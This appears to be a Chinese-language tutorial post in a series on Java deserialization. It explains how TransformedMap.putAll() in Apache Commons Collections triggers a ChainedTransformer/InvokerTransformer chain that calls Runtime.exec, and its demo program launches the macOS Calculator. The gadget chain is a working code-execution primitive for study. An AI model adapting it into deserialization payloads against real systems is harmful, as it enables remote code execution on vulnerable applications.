0x01 前言
通过上一篇文章的学习,我们知道了
要想成功的命令执行就必须触发ChainedTransformer
类的transform
方法
而TransformedMap
类中,支持我们触发漏洞的方法,一共有两个
分别是: put()
与putAll()
方法
上一篇文章,明明已经说过了这两个,那么为什么又要开一篇新文章说明?
因为本篇文章主要说明一下这个putAll()
方法,为下一篇文章打好基础
因为下一篇文章,要真正的写一个反序列化的POC进行分析学习
而putAll()
方法的利用方式的POC与下一篇文章的POC比较相似,所以先列出来学习学习,打打基础
0x02 demo
// 路径: /DeserializationTest/src/main/java
// 文件名称: CommonCollections1Test2.java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1Test2 {
public static void main(String[] args) {
// 要执行的命令
String cmd = "open -a /System/Applications/Calculator.app";
//构建一个 transformers 的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{cmd}
)
};
// 将 transformers 数组存入 ChaniedTransformer 这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
// 创建个 Map 准备拿来绑定 transformerChina
Map innerMap = new HashMap();
innerMap.put("kf", "vvv");
// 创建个 transformerChina 并绑定 innerMap
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.putAll(innerMap);
System.out.println("执行完毕");
}
}
0x03 正文
前置知识我就不讲了,上一篇文章都有,主要讲讲,为什么需要下面这样的代码才能触发漏洞
代码如下:
Map innerMap = new HashMap();
innerMap.put("kf", "vvv");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.putAll(innerMap);
进入TransformedMap
类,查找putAll
方法
通过查看putAll
方法可以看到调用了this.transformMap()
方法
在跟一下transformMap()
方法,发现最终会循环调用本类的put()
方法
而put()
方法,会调用this.transformKey()
与this.transformValue()
方法
而最终这两个方法都会去调用transform
方法,触发了,漏洞
而putAll
方法,第一个参数需要一个Map
进行循环
因此最终就建立了一个
Map innerMap = new HashMap();
innerMap.put("kf", "vvv");
0x04 总结
本篇文章主要学习到为什么需要innerMap.put("kk", "vvv")
这种写法才能触发漏洞即可
打下一个基础的种子方便我们下一篇文章,真正学习cc1简易版的反序列化漏洞即
未完待续….